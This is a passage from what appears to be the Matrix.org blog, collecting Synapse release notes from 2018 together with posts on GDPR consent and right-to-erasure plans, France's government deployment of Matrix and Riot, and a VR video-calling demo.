Sorry for the inconvenience, Synapse and the Matrix spec are still in beta and we still ironing out gaps such as this one.

You can get the release here.

Changes in synapse v0.31.1 (2018-06-08)

v0.31.1 fixes a security bug in the get_missing_events federation API where event visibility rules were not applied correctly.

We are not aware of it being actively exploited but please upgrade asap.

Bug Fixes:

  • Fix event filtering in get_missing_events handler (PR #3371)

Synapse v0.31.0 released!

2018-06-06 — General — 

Good people, it's release time.

With the core team focusing on upcoming performance work and GDPR management tooling, v0.31.0 is most notable for improvements to system stats. Additionally, work continues on our py3 port and a host of small bug fixes and perf improvements.

Get it now from https://github.com/matrix-org/synapse/releases/tag/v0.31.0

Changes in synapse v0.31.0 (2018-06-06)

Most notable change from v0.30.0 is to switch to python prometheus library to improve system stats reporting. WARNING this changes a number of prometheus metrics in a backwards-incompatible manner. For more details, seedocs/metrics-howto.rst

Bug Fixes:

  • Fix metric documentation tables (PR #3341)
  • Fix LaterGuage error handling (694968f)
  • Fix replication metrics (b7e7fd2)

Changes in synapse v0.31.0-rc1 (2018-06-04)

Features:
  • Switch to the Python Prometheus library (PR #3256#3274)
  • Let users leave the server notice room after joining (PR #3287)
Changes:
  • daily user type phone home stats (PR #3264)
  • Use iter* methods for _filter_events_for_server (PR #3267)
  • Docs on consent bits (PR #3268)
  • Remove users from user directory on deactivate (PR #3277)
  • Avoid sending consent notice to guest users (PR #3288)
  • disable CPUMetrics if no /proc/self/stat (PR #3299)
  • Add local and loopback IPv6 addresses to url_preview_ip_range_blacklist (PR #3312) Thanks to @thegcat!
  • Consistently use six's iteritems and wrap lazy keys/values in list() if they're not meant to be lazy (PR #3307)
  • Add private IPv6 addresses to example config for url preview blacklist (PR #3317) Thanks to @thegcat!
  • Reduce stuck read-receipts: ignore depth when updating (PR #3318)
  • Put python's logs into Trial when running unit tests (PR #3319)
Changes, python 3 migration:Bugs:
  • Fix federation backfill bugs (PR #3261)
  • federation: fix LaterGauge usage (PR #3328) Thanks to @intelfx!

Matrix.org homeserver privacy policy and terms of use being enforced today

2018-05-29 — General — 

Hi all,

As mentioned in our last blog post on GDPR, to make sure that everyone has read and understood the important details about how their personal data is processed by the matrix.org homeserver, users who haven't yet agreed to the privacy notice and terms and conditions will be blocked from sending new messages until they have.

Users will continue to be able to receive messages, so they won't miss out on any messages sent to them before they've agreed to the terms.

The System Alerts room has already sent every user their unique link to review and agree, and if anyone missed that message, the latest Riot.im web and mobile will display a helpful error message guiding users who are yet to agree through the agreement process.

If you have any questions or difficulties, please let us know at [email protected].

Thanks!

Tom

GDPR on matrix.org

2018-05-25 — General — 

If you've connected to the matrix.org homeserver today, you'll have noticed some activity in support of GDPR compliance. The most obvious of these is an invite from System Alerts (aka @server:matrix.org):

We've rolled out the System Alerts feature to communicate important platform information to all of a homeserver's users. Today, we're using it to communicate the arrival of our new (and much-improved) Privacy Notice and Terms and Conditions to users on matrix.org.

The System Alerts service takes the form of an (unrejectable) invite to a room. We took this approach to support maximum compatibility with the myriad Matrix clients (since all Matrix clients can support conversations in a room ?).

When we first rolled out System Alerts, we didn't allow users leave the System Alerts room. Sorry! We got a bit overexcited - we've fixed that now (though please do provide your agreement before you leave).

What do I need to do?

At some point today the System Alerts service will provide you with unique link, directing you to review the new terms and provide your agreement.

For us to process your personal data lawfully, it's really important that we know you understand and agree to our Privacy Notice and Terms and Conditions. For that reason, we will shortly be blocking any users who haven't indicated their acceptance, so please act quickly when you receive your link.

Once the block is enabled, users who haven't accepted the terms will see an error when they try and send a message, join a room, or send an invite. This message will also include the unique link to review and accept the terms, so users who haven't seen the message from System Alerts will know what to do.

Don't worry if you're reading this some time after May 25 - accepting the terms at any time will unblock message sending on your account, and you won't have missed any messages sent to you.

If you have any thoughts or suggestions on the legal documentation, you can provide comment via github.

Synapse v0.30.0 released today!

2018-05-24 — General — 

It's release o'clock - GDPR time!!!!

v0.30.0 sees the introduction of Server Notices, which provides a channel whereby server administrators can send messages to users on the server, as well as Consent Management for tracking whether users have agreed to the terms and conditions set by the administrator of a server - and blocking access to the server until they have.

In conjunction these features support GDPR compliance in the form of providing a client agnostic means to contact users and ask for consent/agreement to a Privacy Notice.

For more information about our approach to GDPR compliance take a look here (although be aware that our position has evolved a bit; see the upcoming new privacy policy for the Matrix.org homeserver for details).

Additionally there are a host of bug fixes and refactors as well as an enhancement to our Dockerfile.

Get it now from https://github.com/matrix-org/synapse/releases/tag/v0.30.0

Changes in synapse v0.30.0 (2018-05-24)

'Server Notices' are a new feature introduced in Synapse 0.30. They provide a channel whereby server administrators can send messages to users on the server.

They are used as part of communication of the server policies (see Consent Tracking), however the intention is that they may also find a use for features such as "Message of the day".

This feature is specific to Synapse, but uses standard Matrix communication mechanisms, so should work with any Matrix client. For more details see here

Further Server Notices/Consent Tracking Support:

  • Allow overriding the server_notices user's avatar (PR #3273)
  • Use the localpart in the consent uri (PR #3272)
  • Support for putting %(consent_uri)s in messages (PR #3271)
  • Block attempts to send server notices to remote users (PR #3270)
  • Docs on consent bits (PR #3268)

Changes in synapse v0.30.0-rc1 (2018-05-23)

GDPR Support:
  • ConsentResource to gather policy consent from users (PR #3213)
  • Move RoomCreationHandler out of synapse.handlers.Handlers (PR #3225)
  • Infrastructure for a server notices room (PR #3232)
  • Send users a server notice about consent (PR #3236)
  • Reject attempts to send event before privacy consent is given (PR #3257)
  • Add a 'has_consented' template var to consent forms (PR #3262)
  • Fix dependency on jinja2 (PR #3263)
Features:
  • Cohort analytics (PR #3163#3241#3251)
  • Add lxml to docker image for web previews (PR #3239) Thanks to @ptman!
  • Add in flight request metrics (PR #3252)
Changes:
  • Remove unused update_external_syncs (PR #3233)
  • Use stream rather depth ordering for push actions (PR #3212)
  • Make purge_history operate on tokens (PR #3221)
  • Don't support limitless pagination (PR #3265)
Bug Fixes:
  • Fix logcontext resource usage tracking (PR #3258)
  • Fix error in handling receipts (PR #3235)
  • Stop the transaction cache caching failures (PR #3255)

Synapse 0.29.1 Released!

2018-05-18 — General — 

It's release time people, not to be outdone by our friends on the Riot web team, Synapse v0.29.1 lands today.

v0.29.1 contains an officially supported docker image (many thanks to the contribution from @kaiyou), continued progress towards Python 3 (thanks to @NotAFile) - as well as a heap of refactorings and bug fixes.

Something worth noting is a potentially breaking change in the error code that /login returns in the Client Server API. Details follow, but the change closes a gap between Synapse behaviour and the spec.

We'd like to give huge thanks to Silvio Fricke and Andreas Peters for writing and maintaining Synapse's first Dockerfile, as well as allmende, jcgruenhage, ptman, and ilianaw for theirs!  The new Dockerfile from kaiyou has ended up being merged into the main synapse tree and we're going to try to maintain it going forwards, but folks should use whichever one they prefer.

You can pick it up from https://github.com/matrix-org/synapse/releases/tag/v0.29.1 and thanks to everyone who tested the release candidate.

Changes in synapse v0.29.1 (2018-05-17)

Changes:

  • Update docker documentation (PR #3222)

Changes in synapse v0.29.0 (2018-05-16)

No changes since v0.29.0-rc1

Changes in synapse v0.29.0-rc1 (2018-05-14)

Potentially breaking change:
  • Make Client-Server API return 401 for invalid token (PR #3161).This changes the Client-server spec to return a 401 error code instead of 403 when the access token is unrecognised. This is the behaviour required by the specification, but some clients may be relying on the old, incorrect behaviour.Thanks to @NotAFile for fixing this.
Features:
  • Add a Dockerfile for synapse (PR #2846) Thanks to @kaiyou!
Changes - General:
  • nuke-room-from-db.sh: added postgresql option and help (PR #2337) Thanks to @rubo77!
  • Part user from rooms on account deactivate (PR #3201)
  • Make 'unexpected logging context' into warnings (PR #3007)
  • Set Server header in SynapseRequest (PR #3208)
  • remove duplicates from groups tables (PR #3129)
  • Improve exception handling for background processes (PR #3138)
  • Add missing consumeErrors to improve exception handling (PR #3139)
  • reraise exceptions more carefully (PR #3142)
  • Remove redundant call to preserve_fn (PR #3143)
  • Trap exceptions thrown within run_in_background (PR #3144)
Changes - Refactors:
  • Refactor /context to reuse pagination storage functions (PR #3193)
  • Refactor recent events func to use pagination func (PR #3195)
  • Refactor pagination DB API to return concrete type (PR #3196)
  • Refactor get_recent_events_for_room return type (PR #3198)
  • Refactor sync APIs to reuse pagination API (PR #3199)
  • Remove unused code path from member change DB func (PR #3200)
  • Refactor request handling wrappers (PR #3203)
  • transaction_id, destination defined twice (PR #3209) Thanks to @damir-manapov!
  • Refactor event storage to prepare for changes in state calculations (PR #3141)
  • Set Server header in SynapseRequest (PR #3208)
  • Use deferred.addTimeout instead of time_bound_deferred (PR #3127#3178)
  • Use run_in_background in preference to preserve_fn (PR #3140)
Changes - Python 3 migration:Bug Fixes:
  • synapse fails to start under Twisted >= 18.4 (PR #3157) Thanks to @Half-Shot!
  • Fix a class of logcontext leaks (PR #3170)
  • Fix a couple of logcontext leaks in unit tests (PR #3172)
  • Fix logcontext leak in media repo (PR #3174)
  • Escape label values in prometheus metrics (PR #3175#3186)
  • Fix 'Unhandled Error' logs with Twisted 18.4 (PR #3182) Thanks to @Half-Shot!
  • Fix logcontext leaks in rate limiter (PR #3183)
  • notifications: Convert next_token to string according to the spec (PR #3190) Thanks to @mujx!
  • nuke-room-from-db.sh: fix deletion from search table (PR #3194) Thanks to @rubo77!
  • add guard for None on purge_history api (PR #3160) Thanks to @krombel!

GDPR Compliance in Matrix

2018-05-08 — General — 
Hi all,As the May 25th deadline looms, we've had lots and lots of questions about how GDPR (the EU's new General Data Protection Regulation legislation) applies to Matrix and to folks running Matrix servers - and so we've written this blog post to try to spell out what we're doing as part of maintaining the Matrix.org server (and bridges and hosted integrations etc), in case it helps folks running their own servers.The main controversial point is how to handle Article 17 of the GDPR: ‘Right to Erasure' (aka Right to be Forgotten).  The question is particularly interesting for Matrix, because as a relatively new protocol with somewhat distinctive semantics it's not always clear how the rules apply - and there's no case law to seek inspiration from.The key question boils down to whether Matrix should be considered more like email (where people would be horrified if senders could erase their messages from your mail spool), or should it be considered more like Facebook (where people would be horrified if their posts were visible anywhere after they avail themselves of their right to erasure).Solving this requires making a judgement call, which we've approached from two directions: firstly, considering what the spirit of the GDPR is actually trying to achieve (in terms of empowering users to control their data and have the right to be forgotten if they regret saying something in a public setting) - and secondly, considering the concrete legal obligations which exist.  The conclusion we've ended up with is to (obviously) prioritise that Matrix can support all the core concrete legal obligations that GDPR imposes on it - whilst also having a detailed plan for the full ‘spirit of the GDPR' where the legal obligations are ambiguous.  The idea is to get as much of the longer term plan into place as soon as possible, but ensure that the core stuff is in place for May 25th.Please note that we are still talking to GDPR lawyers, and we'd also very much appreciate feedback from the wider Matrix community - i.e. this plan is very much subject to change.  We're sharing it now to ensure everyone sees where our understanding stands today.The current todo list breaks down into the following categories. Most of these issues have matching github IDs, which we'll track in a progress dashboard.

Right to Erasure

We're opting to follow the email model, where the act of sending an event (i.e. message) into a room shares a copy of that message to everyone who is currently in that room.  This means that in the privacy policy (see Consent below) users will have to consent to agreeing that a copy of their messages will be transferred to whoever they are addressing.  This is also the model followed by IM systems such as WhatsApp, Twitter DMs or (almost) Facebook Messenger.This means that if a user invokes their right to erasure, we will need to ensure that their events will only ever be visible to users who already have a copy - and must never be served to new users or the general public.  Meanwhile, data which is no longer accessible by any user must of course be deleted entirely.In the email analogy: this is like saying that you cannot erase emails that you have sent other people; you cannot try to rewrite history as witnessed by others... but you can erase your emails from a public mail archive or search engine and stop them from being visible to anyone else. It is important to note that GDPR Erasure is completely separate from the existing Matrix functionality of “redactions” which let users remove events from the room. A “redaction” today represents a request for the human-facing details of an event (message, join/leave, avatar change etc) to be removed.  Technically, there is no way to enforce a redaction over federation, but there is a “gentlemen's agreement” that this request will be honoured.The alternative to the ‘email-analogue' approach would have been to facilitate users' automatically applying the existing redact function to all of the events they have ever submitted to a public room. The problem here is that defining a ‘public room' is subtle, especially to uninformed users: for instance, if a message was sent in a private room (and so didn't get erased), what happens if that room is later made public? Conversely, if right-to-erasure removed messages from all rooms, it will end up destroying the history integrity of 1:1 conversations, which pretty much everyone agrees is abhorrent.  Hence our conclusion to protect erased users from being visible to the general public (or anyone who comes snooping around after the fact) - but preserving their history from the perspective of the people they were talking to at the time.In practice, our core to-do list for Right to Erasure is:
  • As a first cut,  provide Article 17 right-to-erasure at a per-account granularity.  The simplest UX for this will be an option when calling the account deactivation API to request erasure as well as deactivation.  There will be a 30 day grace period, and (ideally) a 2FA confirmation (if available) to avoid the feature being abused.
  • Homeservers must delete events that nobody has access to any more (i.e. if all the users in a room have GDPR-erased themselves).  If users have deactivated their accounts without GDPR-erasure, then the data will persist in case they reactivate in future.
  • Homeservers must delete media that nobody has access to any more.  This is hard, as media is referenced by mxc:// URLs which may be shared across multiple events (e.g. stickers or forwarded events, including E2E encrypted events), and moreover mxc:// URLs aren't currently authorized.  As a first cut, we track which user uploaded the mxc:// content, and if they erase themselves then the content will also be erased.
  • Homeservers must not serve up unredacted events over federation to users who were not in the room at the time.  This poses some interesting problems in terms of the privacy implications of sharing MXIDs of erased users over federation - see “GDPR erasure of MXIDs” below.
  • Matrix must specify a way of informing both servers and clients (especially bots and bridges) of GDPR erasures (as distinct from redactions), so that they can apply the appropriate erasure semantics.

GDPR erasure of Matrix IDs

One interesting edge case that comes out of GDPR erasure is that we need a way to stop GDPR-erased events from leaking out over federation - when in practice they are cryptographically signed into the event Directed Acyclic Graph (DAG) of a given room.  Today, we can remove the message contents (and preserve the integrity of the room's DAG) via redaction - but this still leaves personally identifying information in the form of the Matrix IDs (MXIDs) of the sender of these events.In practice, this could be quite serious: imagine that you join a public chatroom for some sensitive subject (e.g. #hiv:example.com) and then later on decide that you want to erase yourself from the room.  It would be very undesirable if any new homeserver joining that room received a copy of the DAG showing that your MXID had sent thousands of events into the room - especially if your MXID was clearly identifying (i.e. your real name).Mitigating this is a hard problem, as MXIDs are baked into the DAG for a room in many places - not least to identify which servers are participating in a room.  The problem is made even worse by the fact that in Matrix, server hostnames themselves are often personally identifying (for one-person homeservers sitting on a personal domain).We've spent quite a lot time reasoning through how to fix this situation, and a full technical spec proposal for removing MXIDs from events can be found at https://docs.google.com/document/d/1ni4LnC_vafX4h4K4sYNpmccS7QeHEFpAcYcbLS-J21Q.  The high level proposal is to switch to giving each user a different ID in the form of a cryptographic public key for every room it participates in, and maintaining a mapping of today's MXIDs to these per-user-per-room keys.  In the event of a GDPR erasure, these mappings can be discarded, pseudonymising the user and avoiding correlation across different rooms. We'd also switch to using cryptographic public keys as the identifiers for Rooms, Events and Users (for cross-room APIs like presence).This is obviously a significant protocol change, and we're not going to do it lightly - we're still waiting for legal confirmation on whether we need it for May 25th (it may be covered as an intrinsic technical limitation of the system).  However, the good news is that it paves the way towards many other desirable features: the ability to migrate accounts between homeservers; the ability to solve the problem of how to handle domain names being reused (or hijacked); the ability to decouple homeservers from DNS so that they can run clientside (for p2p matrix); etc.  The chances are high that this proposal will land in the relatively near future (especially if mandated by GDPR), so input is very appreciated at this point!

Consent

GDPR describes six lawful bases for processing personal data.  For those running Matrix servers, it seems the best route to compliance is the most explicit and active one: consent.

Consent requires that our users are fully informed as to exactly how their data will be used, where it will be stored, and (in our case) the specific caveats associated with a decentralised, federated communication system. They are then asked to provide their explicit approval before using (or continuing to use) the service.

In order to gather consent in a way that doesn't break all of the assorted Matrix clients connecting to matrix.org today, we have identified both an immediate- and a long-term approach.The (immediate-term) todo list for gathering consent is:
  • Modify Synapse to serve up a simple ‘consent tool' static webapp to display the privacy notice/terms and conditions and gather consent to this API.
    • Add a ‘consent API' to the CS API which lets a server track whether a given user has consented to the server's privacy policy or not.
  • Send emails and push notifications to advise users of the upcoming change (and link through to the consent tool)
  • Develop a bot that automatically connects to all users (new and existing), posting a link to the consent tool.  This bot can also be used in the future as a general ‘server notice channel' for letting server admins inform users of privacy policy changes; planned downtime; security notices etc.
  • Modify synapse to reject message send requests for all users who have not yet provided consent
    • return a useful error message which contains a link to the consent tool
  • Making our anonymised user analytics for Riot.im ‘opt in' rather than ‘opt out' - this isn't a requirement of GDPR (since our analytics are fully anonymised) but reflects our commitment to user data sovereignty
Long-term:
  • Add a User Interactive Auth flow for the /register API to gather consent at register
  • As an alternative to the bot:
    • Fix user authentication in general to distinguish between ‘need to reauthorize without destroying user data' and ‘destroy user data and login again', so we can use the re-authorize API to gather consent via /login without destroying user data on the client.
    • port the /login API to use User Interactive Auth and also use it to gather consent for existing users when logging in

Deactivation

Account deactivation (the ability to terminate your account on your homeserver) intersects with GDPR in a number of places.Todo list for account deactivation:
  • Remove deactivated users from all rooms - this finally solves the problem where deactivated users leave zombie users around on bridged networks.
  • Remove deactivated users from the homeserver's user directory
  • Remove all 3PID bindings associated with a deactivated user from the identity servers
  • Improve the account deactivation UX to make sure users understand the full consequences of account deactivation

Portability

GDPR states that users have a right to extract their data in a structured, commonly used and machine-readable format.In the medium term we would like to develop this as a core feature of Matrix (i.e. an API for exporting your logs and other data, or for that matter account portability between Matrix servers), but in the immediate term we'll be meeting our obligations by providing a manual service.The immediate todo list for data portability is:
  • Expose a simple interface for people to request their data
  • Implement the necessary tooling to provide full message logs (as a csv) upon request.  As a first cut this would be the result of manually running something like select * from events where user=?.

Other

GDPR mandates rules for all the personal data stored by a business, so there are some broader areas to bear in mind which aren't really Matrix specific, including:
  • Making a clear statement as to how data is processed if you apply for a job
  • Ensuring you are seeking appropriate consent for cookies
  • Making sure all the appropriate documentation, processes and training materials are in place to meet GDPR obligations.

Conclusion

So, there you have it.  We'll be tracking progress in github issues and an associated dashboard over the coming weeks; for now https://github.com/matrix-org/synapse/issues/1941 (for Right to Erasure) or https://github.com/vector-im/riot-meta/issues/149 (GDPR in general) is as good as place as any to gather feedback.  Alternatively, feel free to comment on the original text of this blog post: https://docs.google.com/document/d/1JTEI6RENnOlnCwcU2hwpg3P6LmTWuNS9S-ZYDdjqgzA.It's worth noting that we feel that GDPR is an excellent piece of legislation from the perspective of forcing us to think more seriously about our privacy - it has forced us to re-prioritise all sorts of long-term deficiencies in Matrix (e.g. dependence on DNS; improving User Interactive authentication; improving logout semantics etc).  There's obviously a lot of work to be done here, but hopefully it should all be worth it!

Synapse 0.28.0 Released!

2018-04-27 — General — 

Well now, today sees the release of Synapse 0.28.0!

This release is particularly exciting as it's a major bump mainly thanks to lots and lots of contributions from the wider community - including support for running Synapse on PyPy (thanks Valodim) and lots of progress towards official Python3 support (thanks notafile)!! However, almost all the changes are under the hood (and some are quite major), so this is more a performance, bugfix and synapse internals release rather than adding many new APIs or features

As always, you can get it from https://github.com/matrix-org/synapse/releases/tag/v0.28.0 and thanks to everyone who tested the release candidates.

Changes in synapse v0.28.0 (2018-04-26)

Bug Fixes:

  • Fix quarantine media admin API and search reindex (PR #3130)
  • Fix media admin APIs (PR #3134)

Changes in synapse v0.28.0-rc1 (2018-04-24)

Minor performance improvement to federation sending and bug fixes.

(Note: This release does not include state resolutions discussed in matrix live)

Features:

  • Add metrics for event processing lag (PR #3090)
  • Add metrics for ResponseCache (PR #3092)
Changes:
  • Synapse on PyPy (PR #2760) Thanks to @Valodim!
  • move handling of auto_join_rooms to RegisterHandler (PR #2996) Thanks to @krombel!
  • Improve handling of SRV records for federation connections (PR #3016) Thanks to @silkeh!
  • Document the behaviour of ResponseCache (PR #3059)
  • Preparation for py3 (PR #3061#3073#3074#3075#3103#3104#3106#3107#3109#3110) Thanks to @NotAFile!
  • update prometheus dashboard to use new metric names (PR #3069) Thanks to @krombel!
  • use python3-compatible prints (PR #3074) Thanks to @NotAFile!
  • Send federation events concurrently (PR #3078)
  • Limit concurrent event sends for a room (PR #3079)
  • Improve R30 stat definition (PR #3086)
  • Send events to ASes concurrently (PR #3088)
  • Refactor ResponseCache usage (PR #3093)
  • Clarify that SRV may not point to a CNAME (PR #3100) Thanks to @silkeh!
  • Use str(e) instead of e.message (PR #3103) Thanks to @NotAFile!
  • Use six.itervalues in some places (PR #3106) Thanks to @NotAFile!
  • Refactor store.have_events (PR #3117)
Bug Fixes:
  • Return 401 for invalid access_token on logout (PR #2938) Thanks to @dklug!
  • Return a 404 rather than a 500 on rejoining empty rooms (PR #3080)
  • fix federation_domain_whitelist (PR #3099)
  • Avoid creating events with huge numbers of prev_events (PR #3113)
  • Reject events which have lots of prev_events (PR #3118)
 

Matrix and Riot confirmed as the basis for France's Secure Instant Messenger app

2018-04-26 — General — 

Hi folks,

We're incredibly excited that the Government of France has confirmed it is in the process of deploying a huge private federation of Matrix homeservers spanning the whole government, and developing a fork of Riot.im for use as their official secure communications client! The goal is to replace usage of WhatsApp or Telegram for official purposes.It's a unbelievably wonderful situation that we're living in a world where governments genuinely care about openness, open source and open-standard based communications - and Matrix's decentralisation and end-to-end encryption is a perfect fit for intra- and inter-governmental communication.  Congratulations to France for going decentralised and supporting FOSS! We understand the whole project is going to be released entirely open source (other than the operational bits) - development is well under way and an early proof of concept is already circulating within various government entities.I'm sure there will be more details from their side as the project progresses, but meanwhile here's the official press release, and an English translation too. We expect this will drive a lot of effort into maturing Synapse/Dendrite, E2E encryption and matrix-{react,ios,android}-sdk, which is great news for the whole Matrix ecosystem! The deployment is going to be speaking pure Matrix and should be fully compatible with other Matrix clients and projects in addition to the official client.So: exciting times for Matrix.  Needless to say, if you work on Open Government projects in other countries, please get in touch - we're seeing that Matrix really is a sweet spot for these sort of use cases and we'd love to help get other deployments up and running.  We're also hoping it's going to help iron out many of the UX kinks we have in Riot.im today as we merge stuff back. We'd like to thank DINSIC (the Department responsible for the project) for choosing Matrix, and can't wait to see how the project progresses!

English Translation:

The French State creates its own secure instant messenger

By the summer of 2018, the French State will have its own instant messenger, an alternative to WhatsApp and Telegram.

It will guarantee secure, end-to-end encrypted conversations without degradation of the user experience. It will be compatible with any mobile device or desktop, state or personal. In fact until now the installation of applications like WhatsApp or Telegram was not possible on professional mobile phones, which hindered easy sharing of information and documents.

Led by the Interministerial Department of State Digital, Information and Communication Systems (DINSIC), the project is receiving contributions from the National Agency for Information System Security (ANSSI), the IT Directorship (DSI) of the Armed Forces and the Ministry of Europe and Foreign Affairs.

The tool developed is based on open source software (Riot) that implements an open standard (Matrix). Powered by a Franco-British startup (New Vector), and benefiting from many contributions, this communication standard has already caught the attention of other states such as the Netherlands and Canada, with whom DINSIC collaborates closely.

The Matrix standard and its open source software are also used by private companies such as Thales, which has driven the teams to come together to ensure the interoperability of their tools and cooperate in the development of free and open source software.

After 3 months of development for a very limited cost, this tool is currently being tested in the State Secretary for Digital, DINSIC and in the IT departments of different ministries. It should be rolled out during the summer in administrations and cabinets.

"With this new French solution, the state is demonstrating its ability to work in an agile manner to meet concrete needs by using open source tools and very low development costs. Sharing information in a secure way is essential not only for companies but also for a more fluid dialogue within administrations." - Mounir Mahjoubi, Secretary of State to the Prime Minister, in charge of Digital.

Synapse 0.27.3 released!

2018-04-11 — General — 

Today we release Synapse 0.27.3!

Hot on the heels of 0.27.2, notable changes include API support for joining groups/communities as well as a major bug fix (#3082), that is particularly important for those upgrading for the first time in a while. Also new metrics and phone home stats. Phone home stats include better visibility of system usage so we can have a better idea of how synapse's RAM and CPU is behaving in the wild. Also, recording the number of users on the server who have been using it for at least 30 days.

Phone home stats are entirely optional and can be enabled/disabled by setting "report_stats" in homeserver.yaml. Please consider enabling phone home stats if you currently have not done so - this data is really important to us in improving Matrix as a whole (and justifying future funding for Matrix.org).

As always, you can get it from https://github.com/matrix-org/synapse/releases/tag/v0.27.3 and thanks to everyone who tested the release candidates.

Changes in synapse v0.27.3 (2018-04-11)

Bug fixes:

  • URL quote path segments over federation (#3082)

Changes in synapse v0.27.3-rc2 (2018-04-09)

v0.27.3-rc1 used a stale version of the develop branch so the changelog overstates the functionality. v0.27.3-rc2 is up to date, rc1 should be ignored.

Changes in synapse v0.27.3-rc1 (2018-04-09)

Notable changes include API support for joinability of groups. Also new metrics and phone home stats. Phone home stats include better visibility of system usage so we can tweak synpase to work better for all users rather than our own experience with matrix.org. Also, recording 'r30' stat which is the measure we use to track overal growth of the Matrix ecosystem. It is defined as:-

Counts the number of native 30 day retained users, defined as:-

  • Users who have created their accounts more than 30 days
  • Where last seen at most 30 days ago
  • Where account creation and last_seen are > 30 days"

Features:

  • Add joinability for groups (PR #3045)
  • Implement group join API (PR #3046)
  • Add counter metrics for calculating state delta (PR #3033)
  • R30 stats (PR #3041)
  • Measure time it takes to calculate state group ID (PR #3043)
  • Add basic performance statistics to phone home (PR #3044)
  • Add response size metrics (PR #3071)
  • phone home cache size configurations (PR #3063)
Changes:
  • Add a blurb explaining the main synapse worker (PR #2886) Thanks to @turt2live!
  • Replace old style error catching with 'as' keyword (PR #3000) Thanks to @NotAFile!
  • Use .iter* to avoid copies in StateHandler (PR #3006)
  • Linearize calls to _generate_user_id (PR #3029)
  • Remove last usage of ujson (PR #3030)
  • Use simplejson throughout (PR #3048)
  • Use static JSONEncoders (PR #3049)
  • Remove uses of events.content (PR #3060)
  • Improve database cache performance (PR #3068)
Bug fixes:
  • Add room_id to the response of rooms/{roomId}/join (PR #2986) Thanks to @jplatte!
  • Fix replication after switch to simplejson (PR #3015)
  • Fix replication after switch to simplejson (PR #3015)
  • 404 correctly on missing paths via NoResource (PR #3022)
  • Fix error when claiming e2e keys from offline servers (PR #3034)
  • fix tests/storage/test_user_directory.py (PR #3042)
  • use PUT instead of POST for federating groups/m.join_policy (PR #3070) Thanks to @krombel!
  • postgres port script: fix state_groups_pkey error (PR #3072)

Synapse 0.27 released!

2018-03-26 — General — 

We released Synapse v0.27.2 today (the first stable release in the 0.27.x series) - it contains loads of work since Synapse v0.26 back in January.  The main highlights are:

  • All the perf improvements which we've been landing as we race to keep the matrix.org homeserver in the face of ever-expanding traffic levels over the last few months
  • Support for custom storage providers for media repository.
  • Ability to limit the email addresses allowed to register on your HS, and ability to limit the homeservers your homeserver is allowed to federate with
  • All new purge API - letting you purge history by date as well as by event (and having a nice new async way of doing it)
  • Make search work again!!! (by switching from GIST to GIN indexes)
And a few release notes worth calling out:
  • The common case for running Synapse is not to run separate workers, but for those that do, be aware that synctl no longer starts the main synapse when using -a option with workers. A new worker file should be added with worker_app: synapse.app.homeserver.
  • This release also begins the process of renaming a number of the metrics reported to prometheus. See docs/metrics-howto.rst Note that the v0.28.0 release will remove the deprecated metric names.
As always, you can get it from https://github.com/matrix-org/synapse/releases/tag/v0.27.2
 

thanks for flying Matrix!

Changes in synapse v0.27.2 (2018-03-26)

Bug fixes:

  • Fix bug which broke TCP replication between workers (PR #3015)

Changes in synapse v0.27.1 (2018-03-26)

Meta release as v0.27.0 temporarily pointed to the wrong commit

Changes in synapse v0.27.0 (2018-03-26)

No changes since v0.27.0-rc2

Changes in synapse v0.27.0-rc2 (2018-03-19)

Pulls in v0.26.1

Bug fixes:

  • Fix bug introduced in v0.27.0-rc1 that causes much increased memory usage in state cache (PR #3005)

Changes in synapse v0.27.0-rc1 (2018-03-14)

The common case for running Synapse is not to run separate workers, but for those that do, be aware that synctl no longer starts the main synapse when using -a option with workers. A new worker file should be added with worker_app: synapse.app.homeserver.

This release also begins the process of renaming a number of the metrics reported to prometheus. See docs/metrics-howto.rst <docs/metrics-howto.rst#block-and-response-metrics-renamed-for-0-27-0>_. Note that the v0.28.0 release will remove the deprecated metric names.

Features:

  • Add ability for ASes to override message send time (PR #2754)
  • Add support for custom storage providers for media repository (PR #2867#2777#2783#2789#2791#2804#2812#2814#2857#2868#2767)
  • Add purge API features, see docs/admin_api/purge_history_api.rst <docs/admin_api/purge_history_api.rst>_ for full details (PR #2858#2867#2882#2946#2962#2943)
  • Add support for whitelisting 3PIDs that users can register. (PR #2813)
  • Add /room/{id}/event/{id} API (PR #2766)
  • Add an admin API to get all the media in a room (PR #2818) Thanks to @turt2live!
  • Add federation_domain_whitelist option (PR #2820#2821)
Changes:Bug fixes:
  • Fix broken ldap_config config option (PR #2683) Thanks to @seckrv!
  • Fix error message when user is not allowed to unban (PR #2761) Thanks to @turt2live!
  • Fix publicised groups GET API (singular) over federation (PR #2772)
  • Fix user directory when using user_directory_search_all_users config option (PR #2803#2831)
  • Fix error on /publicRooms when no rooms exist (PR #2827)
  • Fix bug in quarantine_media (PR #2837)
  • Fix url_previews when no Content-Type is returned from URL (PR #2845)
  • Fix rare race in sync API when joining room (PR #2944)
  • Fix slow event search, switch back from GIST to GIN indexes (PR #2769#2848)

Urgent Synapse 0.26.1 hotfix out

2018-03-16 — General — 

Hi all,

We just rushed out an urgent hotfix release for Synapse 0.26.1, addressing a nasty bug in the ujson library which causes it to misbehave badly in the presence of JSON containing very large >64-bit integers.  Anyone whose synapses are currently filling up with "Value too big!" errors will want to upgrade immediately from https://github.com/matrix-org/synapse/releases/tag/v0.26.1.

Sorry for the inconvenience.

Changes in synapse v0.26.1 (2018-03-15)

Bug fixes:

  • Fix bug where an invalid event caused server to stop functioning correctly, due to parsing and serializing bugs in ujson library.

3D Video Calling with Matrix, WebRTC and WebVR at FOSDEM 2018!

2018-02-05 — General — 
TL;DR: We built a proof-of-concept for FOSDEM of the world's first(?) 3D video calling using Matrix and the iPhone X... and it looks like this!!

Last year we spent a few weeks putting together a proof of concept of using Matrix as an open, interoperable communication layer for VR/AR - showing how you can use it as an open signalling protocol to connect users within (and between) virtual worlds, with full-mesh E2E encrypted video conferencing in VR; WebRTC calls overlaid on 360 degree video, and other fun stuff. The reasons for building the demo were quite eclectic:

  1. Try to highlight that Matrix is about much more than just about instant messaging or team chat
  2. Try to encourage the community to jump in and build out more interesting use cases
  3. Learn where the state of the art in WebVR + WebGL is
  4. Kick off the process of encouraging folks to think about storing world geometry and physics in Matrix
  5. Have a fun visual demo we could show to excite potential investors in New Vector (which comically backfired when the investment community spontaneously decided that VR is still too early).
In the end it succeeded on some points (highlighting exotic uses of Matrix; learning all about WebVR) and failed on others (a surge in Matrix-for-VR) - although we did have a lot of fun showing it off at the ETHLDN meetup back in October. (Eagle eyed viewers may be amused to spot team Status & Matrix sitting together in the audience ;)

